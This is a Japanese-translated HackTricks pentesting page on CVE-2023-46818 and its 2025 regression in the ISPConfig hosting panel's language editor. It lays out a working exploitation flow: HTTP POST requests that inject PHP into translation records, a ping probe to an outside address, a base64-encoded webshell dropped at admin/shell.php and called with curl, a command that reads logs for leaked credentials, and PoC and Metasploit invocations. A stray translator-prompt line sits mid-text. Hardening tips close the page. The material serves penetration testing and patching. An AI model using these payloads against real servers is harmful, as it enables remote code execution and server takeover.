ISPConfig
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
概要
ISPConfig はオープンソースのホスティングコントロールパネルです。古い 3.2.x 系のビルドには言語ファイル編集機能があり、これがスーパ管理者に対して有効になっていると、破損した翻訳レコードを通じて任意の PHP コード注入を許していました。これによりウェブサーバーコンテキストで RCE を獲得でき、PHP の実行方法次第では権限昇格につながる可能性があります。
Key default paths:
- Web root often at
/var/www/ispconfigwhen served withphp -Sor via Apache/nginx. - Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).
Tip: If the panel is bound locally (e.g. 127.0.0.1:8080), forward it:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
言語エディタ PHP code injection (CVE-2023-46818)
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Preconditions:
- Login as the built-in superadmin account
admin(other roles are not affected according to the vendor) - 言語エディタを有効にする必要がある:
admin_allow_langedit=yesが/usr/local/ispconfig/security/security_settings.iniに設定されていること - Impact: 認証済みの
adminが任意の PHP を注入し、それが言語ファイルに書き込まれてアプリケーションから実行され、web コンテキストで RCE を達成できる
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
手動での悪用フロー
- CSRF トークンを取得するために言語ファイルを開く/作成する
最初の POST を送信してフォームを初期化し、HTML レスポンスから CSRF フィールド(csrf_id, csrf_key)を解析する。例のリクエストパス: /admin/language_edit.php.
- records[] 経由で PHP を注入して保存する
CSRF フィールドと悪意ある翻訳レコードを含む2回目の POST を送信する。最小限のコマンド実行プローブ:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
アウトオブバンドテスト(ICMPを監視):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- ファイルを書き込み、webshell を配置する
ウェブから到達可能なパスの下にファイルを作成するために file_put_contents を使用する(例: admin/):
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
次に、POST body の不正な文字を避けるために base64 を使ったシンプルな webshell を書きます:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
ファイルの内容(src/network-services-pentesting/pentesting-web/ispconfig.md)を貼り付けてください。翻訳して返します。
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
もし PHP が root として実行されている場合(例: php -S 127.0.0.1:8080 が root により起動されている場合)、これは即座に root RCE をもたらします。そうでない場合は、web サーバーのユーザー権限でコード実行を得ます。
2025 リグレッション(ISPConfig 3.3.0 / 3.3.0p1)
言語エディタのバグは 3.3.0/3.3.0p1 で再発し、3.3.0p2 で修正されました。前提条件は変更なく(admin_allow_langedit と管理者ログイン)。同じパッチで monitor の XSS と全ユーザーが読み取り可能なローテーションログにも対処されました。
備考:
- 3.3.0/3.3.0p1 では、
/usr/local/ispconfig/interface/log/以下の全ユーザー読み取り可能なローテート済みログが、デバッグログ出力が有効な場合に資格情報を leak する可能性があります:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
- Exploit の手順は CVE-2023-46818 と一致します; 3.3.0p2 は言語編集の前に追加のチェックを導入しています。
Python PoC
すぐに使える exploit はトークンの処理と payload の送信を自動化します:
実行例:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Metasploit モジュール(2025年7月リリース)
Rapid7 は exploit/linux/http/ispconfig_lang_edit_php_code_injection を追加しました。指定された管理者アカウントが system-config rights を持っている場合、admin_allow_langedit を自動で有効化できます。
use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run
モジュールは records[] を介して base64-encoded payload を書き込み、それを実行して PHP Meterpreter または custom payload を得ます。
ハードニング
- 元の問題には 3.2.11p1 以降にアップグレードし、2025年のリグレッションには 3.3.0p2 以降にアップグレードしてください。
- 言語エディタは厳密に必要でない限り無効化してください:
admin_allow_langedit=no
- パネルをrootで実行しない。PHP-FPMまたはwebサーバーを設定して権限を落とす
- 組み込みの
adminアカウントに対して強力な認証を適用する
参考資料
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
- ISPConfig 3.3.0p2 Released – Security Update
- CXSecurity WLB-2025070017 – Metasploit module for ISPConfig language_edit.php
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


